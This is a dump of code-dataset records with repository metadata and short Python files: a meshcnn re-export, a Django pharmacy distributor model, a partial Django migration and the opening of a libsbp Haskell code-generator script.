ac13c973334294877d2bbbafe218a6b0bb4ab976 | 48 | py | Python | development/data/classification_data.py | atomicsulfate/meshcnn-4-cadseg | c0d91ec593293cb58eec422556d1322a3b4f6183 | [
"MIT"
] | 7 | 2021-04-07T06:31:58.000Z | 2022-01-27T09:49:51.000Z | development/data/classification_data.py | atomicsulfate/meshcnn-4-cadseg | c0d91ec593293cb58eec422556d1322a3b4f6183 | [
"MIT"
] | null | null | null | development/data/classification_data.py | atomicsulfate/meshcnn-4-cadseg | c0d91ec593293cb58eec422556d1322a3b4f6183 | [
"MIT"
] | 2 | 2021-05-19T03:39:04.000Z | 2021-08-12T08:20:19.000Z | from meshcnn.data.classification_data import *
| 16 | 46 | 0.833333 |
ac13cca6c6ce0499268f88f0cf852ebffc51bf52 | 273 | py | Python | Farmacia/apps/distribuidor/models.py | cluco91/Django_Farmacia | 10d787533bcebac8ba35cf8a7feb10ffb14ca45f | [
"MIT"
] | 2 | 2018-11-06T04:05:20.000Z | 2020-05-28T23:19:23.000Z | Farmacia/apps/distribuidor/models.py | cluco91/Django_Farmacia | 10d787533bcebac8ba35cf8a7feb10ffb14ca45f | [
"MIT"
] | null | null | null | Farmacia/apps/distribuidor/models.py | cluco91/Django_Farmacia | 10d787533bcebac8ba35cf8a7feb10ffb14ca45f | [
"MIT"
] | 2 | 2018-11-06T04:12:17.000Z | 2019-11-21T18:34:26.000Z | from django.db import models
class Distribuidor(models.Model):
nombre = models.CharField(max_length=20)
ruc = models.IntegerField(unique=True)
telefono = models.IntegerField()
direccion = models.CharField(max_length=60)
def __unicode__(self):
return self.nombre
| 24.818182 | 44 | 0.776557 |
ac13f08af1c2df949f840ab3945abe3f78575a88 | 1,452 | py | Python | apps/core/migrations/0003_datasource.py | remocrevo/celus | 682b13168eb475d7f970502113e756e40a899877 | [
"MIT"
] | null | null | null | apps/core/migrations/0003_datasource.py | remocrevo/celus | 682b13168eb475d7f970502113e756e40a899877 | [
"MIT"
] | null | null | null | apps/core/migrations/0003_datasource.py | remocrevo/celus | 682b13168eb475d7f970502113e756e40a899877 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.1 on 2019-07-01 06:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('organizations', '0003_non_unique_ico'),
('core', '0002_identity'),
]
operations = [
migrations.Crea... | 40.333333 | 260 | 0.618457 |
ac140068641cabed049b7ef0de940ebb529c5122 | 7,346 | py | Python | generator/sbpg/targets/haskell.py | zk20/libsbp | 041c5055f5db422258ebb3ce3f8e9f6e5d3e5fa9 | [
"MIT"
] | null | null | null | generator/sbpg/targets/haskell.py | zk20/libsbp | 041c5055f5db422258ebb3ce3f8e9f6e5d3e5fa9 | [
"MIT"
] | null | null | null | generator/sbpg/targets/haskell.py | zk20/libsbp | 041c5055f5db422258ebb3ce3f8e9f6e5d3e5fa9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Copyright (C) 2015-2020 Swift Navigation Inc.
# Contact: https://support.swiftnav.com
#
# This source is subject to the license found in the file 'LICENSE' which must
# be be distributed together with this source. All other rights reserved.
#
# THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHO... | 31.127119 | 91 | 0.660359 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.